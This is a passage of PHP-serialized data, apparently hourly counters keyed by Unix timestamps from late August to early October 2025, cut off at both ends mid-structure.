:1:{i:0;i:7;}i:1756364400;a:1:{i:0;i:17;}i:1756368000;a:1:{i:0;i:19;}i:1756371600;a:1:{i:0;i:23;}i:1756375200;a:1:{i:0;i:14;}i:1756378800;a:1:{i:0;i:21;}i:1756382400;a:1:{i:0;i:21;}i:1756386000;a:1:{i:0;i:15;}i:1756389600;a:1:{i:0;i:21;}i:1756393200;a:1:{i:0;i:6;}i:1756396800;a:1:{i:0;i:4;}i:1756400400;a:1:{i:0;i:9;}i:1756404000;a:1:{i:0;i:13;}i:1756407600;a:1:{i:0;i:19;}i:1756411200;a:1:{i:0;i:17;}i:1756414800;a:1:{i:0;i:9;}i:1756418400;a:1:{i:0;i:13;}i:1756422000;a:1:{i:0;i:21;}i:1756425600;a:1:{i:0;i:26;}i:1756429200;a:1:{i:0;i:19;}i:1756432800;a:1:{i:0;i:13;}i:1756436400;a:1:{i:0;i:18;}i:1756440000;a:1:{i:0;i:16;}i:1756443600;a:1:{i:0;i:26;}i:1756447200;a:1:{i:0;i:31;}i:1756450800;a:1:{i:0;i:2;}i:1756454400;a:1:{i:0;i:4;}i:1756458000;a:1:{i:0;i:14;}i:1756461600;a:1:{i:0;i:14;}i:1756465200;a:1:{i:0;i:11;}i:1756468800;a:1:{i:0;i:14;}i:1756472400;a:1:{i:0;i:10;}i:1756476000;a:1:{i:0;i:14;}i:1756479600;a:1:{i:0;i:4;}i:1756483200;a:1:{i:0;i:3;}i:1756486800;a:1:{i:0;i:3;}i:1756490400;a:1:{i:0;i:3;}i:1756494000;a:1:{i:0;i:2;}i:1756497600;a:1:{i:0;i:5;}i:1756501200;a:1:{i:0;i:15;}i:1756504800;a:1:{i:0;i:1;}i:1756508400;a:1:{i:0;i:1;}i:1756515600;a:1:{i:0;i:1;}i:1756519200;a:1:{i:0;i:1;}i:1756522800;a:1:{i:0;i:1;}i:1756526400;a:1:{i:0;i:9;}i:1756530000;a:1:{i:0;i:2;}i:1756533600;a:1:{i:0;i:6;}i:1756537200;a:1:{i:0;i:4;}i:1756544400;a:1:{i:0;i:17;}i:1756548000;a:1:{i:0;i:17;}i:1756551600;a:1:{i:0;i:17;}i:1756555200;a:1:{i:0;i:12;}i:1756558800;a:1:{i:0;i:17;}i:1756562400;a:1:{i:0;i:15;}i:1756566000;a:1:{i:0;i:21;}i:1756569600;a:1:{i:0;i:11;}i:1756573200;a:1:{i:0;i:12;}i:1756576800;a:1:{i:0;i:2;}i:1756580400;a:1:{i:0;i:1;}i:1756587600;a:1:{i:0;i:3;}i:1756594800;a:1:{i:0;i:1;}i:1756602000;a:1:{i:0;i:4;}i:1756605600;a:1:{i:0;i:19;}i:1756609200;a:1:{i:0;i:17;}i:1756612800;a:1:{i:0;i:15;}i:1756616400;a:1:{i:0;i:16;}i:1756620000;a:1:{i:0;i:18;}i:1756623600;a:1:{i:0;i:24;}i:1756627200;a:1:{i:0;i:28;}i:1756630800;a:1:{i:0;i:25;}i:1756634400;a:1:{i:0;i:20;}i:1756638000;a:1:{i:0;i:20;}i:1756641600;a:1:{i:0;i:3;}i:1756645200;a:1:{i:0;i:2;}i:1756648800;a:1:{i:0;i:1;}i:1756652400;a:1:{i:0;i:10;}i:1756656000;a:1:{i:0;i:9;}i:1756659600;a:1:{i:0;i:6;}i:1756663200;a:1:{i:0;i:4;}i:1756666800;a:1:{i:0;i:3;}i:1756670400;a:1:{i:0;i:4;}i:1756674000;a:1:{i:0;i:1;}i:1756677600;a:1:{i:0;i:3;}i:1756681200;a:1:{i:0;i:1;}i:1756684800;a:1:{i:0;i:1;}i:1756688400;a:1:{i:0;i:3;}i:1756695600;a:1:{i:0;i:3;}i:1756699200;a:1:{i:0;i:2;}i:1756702800;a:1:{i:0;i:3;}i:1756706400;a:1:{i:0;i:2;}i:1756710000;a:1:{i:0;i:3;}i:1756713600;a:1:{i:0;i:3;}i:1756717200;a:1:{i:0;i:1;}i:1756720800;a:1:{i:0;i:2;}i:1756724400;a:1:{i:0;i:1;}i:1756728000;a:1:{i:0;i:12;}i:1756731600;a:1:{i:0;i:4;}i:1756735200;a:1:{i:0;i:3;}i:1756742400;a:1:{i:0;i:3;}i:1756746000;a:1:{i:0;i:2;}i:1756749600;a:1:{i:0;i:3;}i:1756753200;a:1:{i:0;i:1;}i:1756756800;a:1:{i:0;i:1;}i:1756760400;a:1:{i:0;i:1;}i:1756764000;a:1:{i:0;i:1;}i:1756767600;a:1:{i:0;i:1;}i:1756771200;a:1:{i:0;i:1;}i:1756774800;a:1:{i:0;i:1;}i:1756778400;a:1:{i:0;i:5;}i:1756782000;a:1:{i:0;i:1;}i:1756785600;a:1:{i:0;i:5;}i:1756789200;a:1:{i:0;i:27;}i:1756792800;a:1:{i:0;i:34;}i:1756796400;a:1:{i:0;i:19;}i:1756800000;a:1:{i:0;i:41;}i:1756803600;a:1:{i:0;i:24;}i:1756807200;a:1:{i:0;i:30;}i:1756810800;a:1:{i:0;i:47;}i:1756814400;a:1:{i:0;i:36;}i:1756818000;a:1:{i:0;i:27;}i:1756821600;a:1:{i:0;i:2;}i:1756825200;a:1:{i:0;i:1;}i:1756828800;a:1:{i:0;i:2;}i:1756832400;a:1:{i:0;i:5;}i:1756836000;a:1:{i:0;i:1;}i:1756839600;a:1:{i:0;i:2;}i:1756843200;a:1:{i:0;i:2;}i:1756846800;a:1:{i:0;i:3;}i:1756850400;a:1:{i:0;i:9;}i:1756854000;a:1:{i:0;i:10;}i:1756857600;a:1:{i:0;i:2;}i:1756861200;a:1:{i:0;i:5;}i:1756864800;a:1:{i:0;i:4;}i:1756868400;a:1:{i:0;i:4;}i:1756872000;a:1:{i:0;i:4;}i:1756875600;a:1:{i:0;i:2;}i:1756879200;a:1:{i:0;i:7;}i:1756882800;a:1:{i:0;i:6;}i:1756886400;a:1:{i:0;i:5;}i:1756890000;a:1:{i:0;i:3;}i:1756893600;a:1:{i:0;i:1;}i:1756897200;a:1:{i:0;i:1;}i:1756900800;a:1:{i:0;i:2;}i:1756904400;a:1:{i:0;i:1;}i:1756908000;a:1:{i:0;i:2;}i:1756915200;a:1:{i:0;i:1;}i:1756922400;a:1:{i:0;i:2;}i:1756926000;a:1:{i:0;i:1;}i:1756929600;a:1:{i:0;i:3;}i:1756933200;a:1:{i:0;i:1;}i:1756936800;a:1:{i:0;i:3;}i:1756940400;a:1:{i:0;i:3;}i:1756944000;a:1:{i:0;i:6;}i:1756947600;a:1:{i:0;i:5;}i:1756951200;a:1:{i:0;i:3;}i:1756954800;a:1:{i:0;i:6;}i:1756958400;a:1:{i:0;i:5;}i:1756962000;a:1:{i:0;i:4;}i:1756965600;a:1:{i:0;i:6;}i:1756969200;a:1:{i:0;i:5;}i:1756972800;a:1:{i:0;i:5;}i:1756976400;a:1:{i:0;i:13;}i:1756980000;a:1:{i:0;i:4;}i:1756983600;a:1:{i:0;i:3;}i:1756987200;a:1:{i:0;i:9;}i:1756990800;a:1:{i:0;i:10;}i:1756994400;a:1:{i:0;i:2;}i:1757001600;a:1:{i:0;i:1;}i:1757005200;a:1:{i:0;i:2;}i:1757008800;a:1:{i:0;i:2;}i:1757012400;a:1:{i:0;i:2;}i:1757016000;a:1:{i:0;i:2;}i:1757019600;a:1:{i:0;i:4;}i:1757023200;a:1:{i:0;i:4;}i:1757026800;a:1:{i:0;i:2;}i:1757030400;a:1:{i:0;i:1;}i:1757034000;a:1:{i:0;i:4;}i:1757037600;a:1:{i:0;i:8;}i:1757041200;a:1:{i:0;i:29;}i:1757044800;a:1:{i:0;i:15;}i:1757048400;a:1:{i:0;i:22;}i:1757052000;a:1:{i:0;i:26;}i:1757055600;a:1:{i:0;i:35;}i:1757059200;a:1:{i:0;i:27;}i:1757062800;a:1:{i:0;i:30;}i:1757066400;a:1:{i:0;i:19;}i:1757070000;a:1:{i:0;i:7;}i:1757073600;a:1:{i:0;i:2;}i:1757077200;a:1:{i:0;i:18;}i:1757080800;a:1:{i:0;i:21;}i:1757084400;a:1:{i:0;i:19;}i:1757088000;a:1:{i:0;i:18;}i:1757091600;a:1:{i:0;i:24;}i:1757095200;a:1:{i:0;i:26;}i:1757098800;a:1:{i:0;i:16;}i:1757102400;a:1:{i:0;i:2;}i:1757106000;a:1:{i:0;i:2;}i:1757109600;a:1:{i:0;i:2;}i:1757113200;a:1:{i:0;i:2;}i:1757116800;a:1:{i:0;i:1;}i:1757120400;a:1:{i:0;i:2;}i:1757124000;a:1:{i:0;i:2;}i:1757127600;a:1:{i:0;i:3;}i:1757131200;a:1:{i:0;i:2;}i:1757134800;a:1:{i:0;i:3;}i:1757138400;a:1:{i:0;i:3;}i:1757142000;a:1:{i:0;i:4;}i:1757145600;a:1:{i:0;i:3;}i:1757149200;a:1:{i:0;i:5;}i:1757152800;a:1:{i:0;i:3;}i:1757156400;a:1:{i:0;i:5;}i:1757160000;a:1:{i:0;i:3;}i:1757163600;a:1:{i:0;i:4;}i:1757167200;a:1:{i:0;i:1;}i:1757170800;a:1:{i:0;i:12;}i:1757174400;a:1:{i:0;i:18;}i:1757178000;a:1:{i:0;i:14;}i:1757181600;a:1:{i:0;i:8;}i:1757185200;a:1:{i:0;i:1;}i:1757192400;a:1:{i:0;i:1;}i:1757199600;a:1:{i:0;i:1;}i:1757206800;a:1:{i:0;i:2;}i:1757214000;a:1:{i:0;i:1;}i:1757224800;a:1:{i:0;i:2;}i:1757232000;a:1:{i:0;i:1;}i:1757239200;a:1:{i:0;i:1;}i:1757246400;a:1:{i:0;i:1;}i:1757253600;a:1:{i:0;i:1;}i:1757257200;a:1:{i:0;i:2;}i:1757260800;a:1:{i:0;i:20;}i:1757264400;a:1:{i:0;i:17;}i:1757268000;a:1:{i:0;i:4;}i:1757275200;a:1:{i:0;i:1;}i:1757282400;a:1:{i:0;i:1;}i:1757289600;a:1:{i:0;i:1;}i:1757296800;a:1:{i:0;i:1;}i:1757304000;a:1:{i:0;i:1;}i:1757314800;a:1:{i:0;i:23;}i:1757318400;a:1:{i:0;i:27;}i:1757322000;a:1:{i:0;i:27;}i:1757329200;a:1:{i:0;i:1;}i:1757336400;a:1:{i:0;i:2;}i:1757343600;a:1:{i:0;i:1;}i:1757350800;a:1:{i:0;i:1;}i:1757354400;a:1:{i:0;i:14;}i:1757358000;a:1:{i:0;i:5;}i:1757361600;a:1:{i:0;i:2;}i:1757365200;a:1:{i:0;i:3;}i:1757368800;a:1:{i:0;i:3;}i:1757372400;a:1:{i:0;i:3;}i:1757376000;a:1:{i:0;i:2;}i:1757379600;a:1:{i:0;i:3;}i:1757383200;a:1:{i:0;i:3;}i:1757386800;a:1:{i:0;i:1;}i:1757390400;a:1:{i:0;i:3;}i:1757394000;a:1:{i:0;i:3;}i:1757397600;a:1:{i:0;i:4;}i:1757401200;a:1:{i:0;i:14;}i:1757404800;a:1:{i:0;i:7;}i:1757408400;a:1:{i:0;i:13;}i:1757412000;a:1:{i:0;i:12;}i:1757415600;a:1:{i:0;i:14;}i:1757419200;a:1:{i:0;i:13;}i:1757422800;a:1:{i:0;i:14;}i:1757426400;a:1:{i:0;i:16;}i:1757430000;a:1:{i:0;i:15;}i:1757433600;a:1:{i:0;i:28;}i:1757437200;a:1:{i:0;i:28;}i:1757440800;a:1:{i:0;i:22;}i:1757444400;a:1:{i:0;i:31;}i:1757448000;a:1:{i:0;i:22;}i:1757451600;a:1:{i:0;i:24;}i:1757455200;a:1:{i:0;i:22;}i:1757458800;a:1:{i:0;i:22;}i:1757462400;a:1:{i:0;i:28;}i:1757466000;a:1:{i:0;i:26;}i:1757469600;a:1:{i:0;i:36;}i:1757473200;a:1:{i:0;i:21;}i:1757476800;a:1:{i:0;i:23;}i:1757480400;a:1:{i:0;i:24;}i:1757484000;a:1:{i:0;i:21;}i:1757487600;a:1:{i:0;i:23;}i:1757491200;a:1:{i:0;i:19;}i:1757494800;a:1:{i:0;i:22;}i:1757498400;a:1:{i:0;i:23;}i:1757502000;a:1:{i:0;i:21;}i:1757505600;a:1:{i:0;i:23;}i:1757509200;a:1:{i:0;i:23;}i:1757512800;a:1:{i:0;i:24;}i:1757516400;a:1:{i:0;i:24;}i:1757520000;a:1:{i:0;i:22;}i:1757523600;a:1:{i:0;i:15;}i:1757527200;a:1:{i:0;i:13;}i:1757530800;a:1:{i:0;i:2;}i:1757534400;a:1:{i:0;i:2;}i:1757538000;a:1:{i:0;i:1;}i:1757541600;a:1:{i:0;i:2;}i:1757545200;a:1:{i:0;i:2;}i:1757548800;a:1:{i:0;i:6;}i:1757552400;a:1:{i:0;i:17;}i:1757556000;a:1:{i:0;i:16;}i:1757559600;a:1:{i:0;i:21;}i:1757563200;a:1:{i:0;i:15;}i:1757566800;a:1:{i:0;i:2;}i:1757570400;a:1:{i:0;i:3;}i:1757574000;a:1:{i:0;i:2;}i:1757577600;a:1:{i:0;i:8;}i:1757581200;a:1:{i:0;i:25;}i:1757584800;a:1:{i:0;i:12;}i:1757588400;a:1:{i:0;i:10;}i:1757592000;a:1:{i:0;i:15;}i:1757595600;a:1:{i:0;i:11;}i:1757602800;a:1:{i:0;i:2;}i:1757606400;a:1:{i:0;i:4;}i:1757610000;a:1:{i:0;i:1;}i:1757613600;a:1:{i:0;i:3;}i:1757617200;a:1:{i:0;i:3;}i:1757620800;a:1:{i:0;i:3;}i:1757624400;a:1:{i:0;i:1;}i:1757628000;a:1:{i:0;i:2;}i:1757631600;a:1:{i:0;i:3;}i:1757635200;a:1:{i:0;i:1;}i:1757638800;a:1:{i:0;i:1;}i:1757642400;a:1:{i:0;i:2;}i:1757646000;a:1:{i:0;i:3;}i:1757649600;a:1:{i:0;i:20;}i:1757653200;a:1:{i:0;i:26;}i:1757656800;a:1:{i:0;i:21;}i:1757660400;a:1:{i:0;i:20;}i:1757664000;a:1:{i:0;i:23;}i:1757667600;a:1:{i:0;i:23;}i:1757671200;a:1:{i:0;i:14;}i:1757674800;a:1:{i:0;i:19;}i:1757678400;a:1:{i:0;i:18;}i:1757682000;a:1:{i:0;i:5;}i:1757685600;a:1:{i:0;i:23;}i:1757689200;a:1:{i:0;i:22;}i:1757692800;a:1:{i:0;i:23;}i:1757696400;a:1:{i:0;i:26;}i:1757700000;a:1:{i:0;i:2;}i:1757703600;a:1:{i:0;i:2;}i:1757707200;a:1:{i:0;i:3;}i:1757710800;a:1:{i:0;i:2;}i:1757714400;a:1:{i:0;i:1;}i:1757718000;a:1:{i:0;i:3;}i:1757721600;a:1:{i:0;i:1;}i:1757725200;a:1:{i:0;i:1;}i:1757728800;a:1:{i:0;i:11;}i:1757732400;a:1:{i:0;i:7;}i:1757736000;a:1:{i:0;i:3;}i:1757739600;a:1:{i:0;i:1;}i:1757743200;a:1:{i:0;i:1;}i:1757746800;a:1:{i:0;i:2;}i:1757750400;a:1:{i:0;i:1;}i:1757754000;a:1:{i:0;i:4;}i:1757757600;a:1:{i:0;i:1;}i:1757761200;a:1:{i:0;i:10;}i:1757764800;a:1:{i:0;i:7;}i:1757772000;a:1:{i:0;i:3;}i:1757775600;a:1:{i:0;i:1;}i:1757779200;a:1:{i:0;i:1;}i:1757782800;a:1:{i:0;i:5;}i:1757800800;a:1:{i:0;i:2;}i:1757808000;a:1:{i:0;i:9;}i:1757811600;a:1:{i:0;i:4;}i:1757815200;a:1:{i:0;i:3;}i:1757826000;a:1:{i:0;i:2;}i:1757833200;a:1:{i:0;i:2;}i:1757836800;a:1:{i:0;i:1;}i:1757840400;a:1:{i:0;i:2;}i:1757844000;a:1:{i:0;i:5;}i:1757847600;a:1:{i:0;i:1;}i:1757851200;a:1:{i:0;i:1;}i:1757858400;a:1:{i:0;i:2;}i:1757862000;a:1:{i:0;i:3;}i:1757865600;a:1:{i:0;i:4;}i:1757869200;a:1:{i:0;i:2;}i:1757872800;a:1:{i:0;i:2;}i:1757876400;a:1:{i:0;i:3;}i:1757880000;a:1:{i:0;i:1;}i:1757883600;a:1:{i:0;i:1;}i:1757887200;a:1:{i:0;i:1;}i:1757890800;a:1:{i:0;i:1;}i:1757894400;a:1:{i:0;i:2;}i:1757898000;a:1:{i:0;i:2;}i:1757901600;a:1:{i:0;i:1;}i:1757905200;a:1:{i:0;i:2;}i:1757908800;a:1:{i:0;i:1;}i:1757912400;a:1:{i:0;i:2;}i:1757916000;a:1:{i:0;i:1;}i:1757919600;a:1:{i:0;i:2;}i:1757923200;a:1:{i:0;i:5;}i:1757926800;a:1:{i:0;i:13;}i:1757930400;a:1:{i:0;i:3;}i:1757934000;a:1:{i:0;i:2;}i:1757937600;a:1:{i:0;i:1;}i:1757941200;a:1:{i:0;i:1;}i:1757948400;a:1:{i:0;i:1;}i:1757952000;a:1:{i:0;i:1;}i:1757955600;a:1:{i:0;i:2;}i:1757959200;a:1:{i:0;i:2;}i:1757962800;a:1:{i:0;i:2;}i:1757966400;a:1:{i:0;i:1;}i:1757973600;a:1:{i:0;i:1;}i:1757977200;a:1:{i:0;i:1;}i:1757980800;a:1:{i:0;i:1;}i:1757984400;a:1:{i:0;i:2;}i:1757991600;a:1:{i:0;i:1;}i:1757995200;a:1:{i:0;i:1;}i:1757998800;a:1:{i:0;i:2;}i:1758002400;a:1:{i:0;i:1;}i:1758006000;a:1:{i:0;i:1;}i:1758009600;a:1:{i:0;i:2;}i:1758013200;a:1:{i:0;i:1;}i:1758016800;a:1:{i:0;i:6;}i:1758020400;a:1:{i:0;i:1;}i:1758024000;a:1:{i:0;i:1;}i:1758034800;a:1:{i:0;i:1;}i:1758038400;a:1:{i:0;i:2;}i:1758042000;a:1:{i:0;i:2;}i:1758045600;a:1:{i:0;i:1;}i:1758049200;a:1:{i:0;i:4;}i:1758052800;a:1:{i:0;i:17;}i:1758056400;a:1:{i:0;i:19;}i:1758060000;a:1:{i:0;i:21;}i:1758063600;a:1:{i:0;i:22;}i:1758067200;a:1:{i:0;i:24;}i:1758070800;a:1:{i:0;i:19;}i:1758074400;a:1:{i:0;i:17;}i:1758078000;a:1:{i:0;i:18;}i:1758081600;a:1:{i:0;i:25;}i:1758085200;a:1:{i:0;i:5;}i:1758088800;a:1:{i:0;i:4;}i:1758092400;a:1:{i:0;i:8;}i:1758096000;a:1:{i:0;i:20;}i:1758099600;a:1:{i:0;i:19;}i:1758103200;a:1:{i:0;i:21;}i:1758106800;a:1:{i:0;i:18;}i:1758110400;a:1:{i:0;i:18;}i:1758114000;a:1:{i:0;i:2;}i:1758121200;a:1:{i:0;i:2;}i:1758124800;a:1:{i:0;i:1;}i:1758128400;a:1:{i:0;i:10;}i:1758132000;a:1:{i:0;i:9;}i:1758135600;a:1:{i:0;i:2;}i:1758139200;a:1:{i:0;i:4;}i:1758142800;a:1:{i:0;i:1;}i:1758150000;a:1:{i:0;i:1;}i:1758153600;a:1:{i:0;i:10;}i:1758157200;a:1:{i:0;i:3;}i:1758160800;a:1:{i:0;i:2;}i:1758164400;a:1:{i:0;i:10;}i:1758168000;a:1:{i:0;i:6;}i:1758175200;a:1:{i:0;i:3;}i:1758178800;a:1:{i:0;i:1;}i:1758189600;a:1:{i:0;i:2;}i:1758193200;a:1:{i:0;i:1;}i:1758196800;a:1:{i:0;i:1;}i:1758200400;a:1:{i:0;i:3;}i:1758204000;a:1:{i:0;i:2;}i:1758207600;a:1:{i:0;i:1;}i:1758218400;a:1:{i:0;i:2;}i:1758232800;a:1:{i:0;i:1;}i:1758236400;a:1:{i:0;i:2;}i:1758247200;a:1:{i:0;i:4;}i:1758254400;a:1:{i:0;i:1;}i:1758258000;a:1:{i:0;i:4;}i:1758261600;a:1:{i:0;i:1;}i:1758265200;a:1:{i:0;i:2;}i:1758268800;a:1:{i:0;i:3;}i:1758276000;a:1:{i:0;i:3;}i:1758283200;a:1:{i:0;i:6;}i:1758286800;a:1:{i:0;i:10;}i:1758290400;a:1:{i:0;i:2;}i:1758294000;a:1:{i:0;i:3;}i:1758301200;a:1:{i:0;i:1;}i:1758308400;a:1:{i:0;i:2;}i:1758319200;a:1:{i:0;i:10;}i:1758322800;a:1:{i:0;i:7;}i:1758326400;a:1:{i:0;i:2;}i:1758337200;a:1:{i:0;i:2;}i:1758340800;a:1:{i:0;i:5;}i:1758344400;a:1:{i:0;i:4;}i:1758351600;a:1:{i:0;i:3;}i:1758355200;a:1:{i:0;i:2;}i:1758358800;a:1:{i:0;i:1;}i:1758369600;a:1:{i:0;i:1;}i:1758384000;a:1:{i:0;i:3;}i:1758387600;a:1:{i:0;i:6;}i:1758412800;a:1:{i:0;i:1;}i:1758416400;a:1:{i:0;i:1;}i:1758420000;a:1:{i:0;i:1;}i:1758423600;a:1:{i:0;i:2;}i:1758445200;a:1:{i:0;i:2;}i:1758448800;a:1:{i:0;i:10;}i:1758452400;a:1:{i:0;i:8;}i:1758456000;a:1:{i:0;i:1;}i:1758463200;a:1:{i:0;i:3;}i:1758477600;a:1:{i:0;i:1;}i:1758488400;a:1:{i:0;i:1;}i:1758495600;a:1:{i:0;i:1;}i:1758499200;a:1:{i:0;i:3;}i:1758502800;a:1:{i:0;i:7;}i:1758513600;a:1:{i:0;i:1;}i:1758520800;a:1:{i:0;i:3;}i:1758535200;a:1:{i:0;i:1;}i:1758546000;a:1:{i:0;i:1;}i:1758553200;a:1:{i:0;i:1;}i:1758567600;a:1:{i:0;i:1;}i:1758578400;a:1:{i:0;i:6;}i:1758582000;a:1:{i:0;i:11;}i:1758585600;a:1:{i:0;i:1;}i:1758596400;a:1:{i:0;i:2;}i:1758603600;a:1:{i:0;i:1;}i:1758607200;a:1:{i:0;i:1;}i:1758618000;a:1:{i:0;i:1;}i:1758632400;a:1:{i:0;i:5;}i:1758636000;a:1:{i:0;i:5;}i:1758639600;a:1:{i:0;i:2;}i:1758643200;a:1:{i:0;i:1;}i:1758646800;a:1:{i:0;i:1;}i:1758650400;a:1:{i:0;i:2;}i:1758654000;a:1:{i:0;i:3;}i:1758657600;a:1:{i:0;i:1;}i:1758661200;a:1:{i:0;i:1;}i:1758672000;a:1:{i:0;i:1;}i:1758675600;a:1:{i:0;i:21;}i:1758679200;a:1:{i:0;i:23;}i:1758682800;a:1:{i:0;i:26;}i:1758686400;a:1:{i:0;i:13;}i:1758690000;a:1:{i:0;i:1;}i:1758704400;a:1:{i:0;i:1;}i:1758715200;a:1:{i:0;i:8;}i:1758718800;a:1:{i:0;i:18;}i:1758722400;a:1:{i:0;i:18;}i:1758726000;a:1:{i:0;i:19;}i:1758729600;a:1:{i:0;i:12;}i:1758733200;a:1:{i:0;i:1;}i:1758740400;a:1:{i:0;i:9;}i:1758747600;a:1:{i:0;i:1;}i:1758751200;a:1:{i:0;i:2;}i:1758754800;a:1:{i:0;i:1;}i:1758758400;a:1:{i:0;i:1;}i:1758765600;a:1:{i:0;i:1;}i:1758769200;a:1:{i:0;i:1;}i:1758772800;a:1:{i:0;i:17;}i:1758776400;a:1:{i:0;i:17;}i:1758780000;a:1:{i:0;i:28;}i:1758783600;a:1:{i:0;i:24;}i:1758787200;a:1:{i:0;i:6;}i:1758790800;a:1:{i:0;i:13;}i:1758794400;a:1:{i:0;i:21;}i:1758798000;a:1:{i:0;i:23;}i:1758801600;a:1:{i:0;i:28;}i:1758805200;a:1:{i:0;i:21;}i:1758808800;a:1:{i:0;i:24;}i:1758812400;a:1:{i:0;i:19;}i:1758816000;a:1:{i:0;i:19;}i:1758819600;a:1:{i:0;i:20;}i:1758823200;a:1:{i:0;i:11;}i:1758826800;a:1:{i:0;i:6;}i:1758830400;a:1:{i:0;i:6;}i:1758834000;a:1:{i:0;i:7;}i:1758837600;a:1:{i:0;i:15;}i:1758841200;a:1:{i:0;i:9;}i:1758844800;a:1:{i:0;i:5;}i:1758848400;a:1:{i:0;i:4;}i:1758852000;a:1:{i:0;i:7;}i:1758855600;a:1:{i:0;i:6;}i:1758859200;a:1:{i:0;i:7;}i:1758862800;a:1:{i:0;i:16;}i:1758866400;a:1:{i:0;i:1;}i:1758870000;a:1:{i:0;i:52;}i:1758873600;a:1:{i:0;i:81;}i:1758877200;a:1:{i:0;i:253;}i:1758880800;a:1:{i:0;i:176;}i:1758884400;a:1:{i:0;i:156;}i:1758888000;a:1:{i:0;i:74;}i:1758891600;a:1:{i:0;i:5;}i:1758895200;a:1:{i:0;i:6;}i:1758898800;a:1:{i:0;i:4;}i:1758902400;a:1:{i:0;i:3;}i:1758906000;a:1:{i:0;i:5;}i:1758909600;a:1:{i:0;i:3;}i:1758913200;a:1:{i:0;i:6;}i:1758916800;a:1:{i:0;i:4;}i:1758920400;a:1:{i:0;i:6;}i:1758924000;a:1:{i:0;i:7;}i:1758927600;a:1:{i:0;i:9;}i:1758931200;a:1:{i:0;i:3;}i:1758934800;a:1:{i:0;i:6;}i:1758938400;a:1:{i:0;i:20;}i:1758942000;a:1:{i:0;i:9;}i:1758945600;a:1:{i:0;i:5;}i:1758949200;a:1:{i:0;i:6;}i:1758952800;a:1:{i:0;i:12;}i:1758956400;a:1:{i:0;i:9;}i:1758960000;a:1:{i:0;i:2;}i:1758963600;a:1:{i:0;i:5;}i:1758967200;a:1:{i:0;i:5;}i:1758970800;a:1:{i:0;i:5;}i:1758974400;a:1:{i:0;i:4;}i:1758978000;a:1:{i:0;i:6;}i:1758981600;a:1:{i:0;i:8;}i:1758985200;a:1:{i:0;i:65;}i:1758988800;a:1:{i:0;i:91;}i:1758992400;a:1:{i:0;i:82;}i:1758996000;a:1:{i:0;i:84;}i:1758999600;a:1:{i:0;i:11;}i:1759003200;a:1:{i:0;i:13;}i:1759006800;a:1:{i:0;i:7;}i:1759010400;a:1:{i:0;i:4;}i:1759014000;a:1:{i:0;i:5;}i:1759017600;a:1:{i:0;i:7;}i:1759021200;a:1:{i:0;i:7;}i:1759024800;a:1:{i:0;i:5;}i:1759028400;a:1:{i:0;i:3;}i:1759032000;a:1:{i:0;i:5;}i:1759035600;a:1:{i:0;i:3;}i:1759039200;a:1:{i:0;i:7;}i:1759042800;a:1:{i:0;i:1;}i:1759046400;a:1:{i:0;i:2;}i:1759050000;a:1:{i:0;i:5;}i:1759053600;a:1:{i:0;i:3;}i:1759057200;a:1:{i:0;i:3;}i:1759060800;a:1:{i:0;i:2;}i:1759064400;a:1:{i:0;i:10;}i:1759068000;a:1:{i:0;i:3;}i:1759071600;a:1:{i:0;i:8;}i:1759075200;a:1:{i:0;i:5;}i:1759078800;a:1:{i:0;i:13;}i:1759082400;a:1:{i:0;i:13;}i:1759086000;a:1:{i:0;i:6;}i:1759089600;a:1:{i:0;i:6;}i:1759093200;a:1:{i:0;i:8;}i:1759096800;a:1:{i:0;i:3;}i:1759100400;a:1:{i:0;i:6;}i:1759104000;a:1:{i:0;i:6;}i:1759107600;a:1:{i:0;i:2;}i:1759111200;a:1:{i:0;i:3;}i:1759114800;a:1:{i:0;i:4;}i:1759118400;a:1:{i:0;i:1;}i:1759122000;a:1:{i:0;i:7;}i:1759125600;a:1:{i:0;i:3;}i:1759129200;a:1:{i:0;i:9;}i:1759132800;a:1:{i:0;i:18;}i:1759136400;a:1:{i:0;i:9;}i:1759140000;a:1:{i:0;i:10;}i:1759143600;a:1:{i:0;i:11;}i:1759147200;a:1:{i:0;i:12;}i:1759150800;a:1:{i:0;i:11;}i:1759154400;a:1:{i:0;i:20;}i:1759158000;a:1:{i:0;i:14;}i:1759161600;a:1:{i:0;i:1;}i:1759165200;a:1:{i:0;i:3;}i:1759168800;a:1:{i:0;i:10;}i:1759172400;a:1:{i:0;i:8;}i:1759176000;a:1:{i:0;i:2;}i:1759179600;a:1:{i:0;i:1;}i:1759186800;a:1:{i:0;i:4;}i:1759190400;a:1:{i:0;i:9;}i:1759194000;a:1:{i:0;i:13;}i:1759197600;a:1:{i:0;i:10;}i:1759201200;a:1:{i:0;i:8;}i:1759204800;a:1:{i:0;i:11;}i:1759208400;a:1:{i:0;i:2;}i:1759212000;a:1:{i:0;i:7;}i:1759215600;a:1:{i:0;i:8;}i:1759219200;a:1:{i:0;i:10;}i:1759222800;a:1:{i:0;i:6;}i:1759226400;a:1:{i:0;i:10;}i:1759230000;a:1:{i:0;i:9;}i:1759233600;a:1:{i:0;i:8;}i:1759237200;a:1:{i:0;i:7;}i:1759240800;a:1:{i:0;i:8;}i:1759244400;a:1:{i:0;i:10;}i:1759248000;a:1:{i:0;i:2;}i:1759255200;a:1:{i:0;i:2;}i:1759262400;a:1:{i:0;i:2;}i:1759266000;a:1:{i:0;i:1;}i:1759269600;a:1:{i:0;i:3;}i:1759273200;a:1:{i:0;i:2;}i:1759276800;a:1:{i:0;i:1;}i:1759280400;a:1:{i:0;i:2;}i:1759287600;a:1:{i:0;i:7;}i:1759291200;a:1:{i:0;i:5;}i:1759305600;a:1:{i:0;i:7;}i:1759309200;a:1:{i:0;i:9;}i:1759312800;a:1:{i:0;i:6;}i:1759316400;a:1:{i:0;i:10;}i:1759320000;a:1:{i:0;i:14;}i:1759323600;a:1:{i:0;i:9;}i:1759327200;a:1:{i:0;i:8;}i:1759330800;a:1:{i:0;i:6;}i:1759334400;a:1:{i:0;i:6;}i:1759338000;a:1:{i:0;i:4;}i:1759341600;a:1:{i:0;i:10;}i:1759345200;a:1:{i:0;i:6;}i:1759348800;a:1:{i:0;i:3;}i:1759352400;a:1:{i:0;i:1;}i:1759356000;a:1:{i:0;i:2;}i:1759359600;a:1:{i:0;i:2;}i:1759363200;a:1:{i:0;i:1;}i:1759366800;a:1:{i:0;i:3;}i:1759370400;a:1:{i:0;i:2;}i:1759374000;a:1:{i:0;i:11;}i:1759377600;a:1:{i:0;i:10;}i:1759381200;a:1:{i:0;i:10;}i:1759384800;a:1:{i:0;i:7;}i:1759388400;a:1:{i:0;i:9;}i:1759392000;a:1:{i:0;i:10;}i:1759395600;a:1:{i:0;i:8;}i:1759406400;a:1:{i:0;i:2;}i:1759410000;a:1:{i: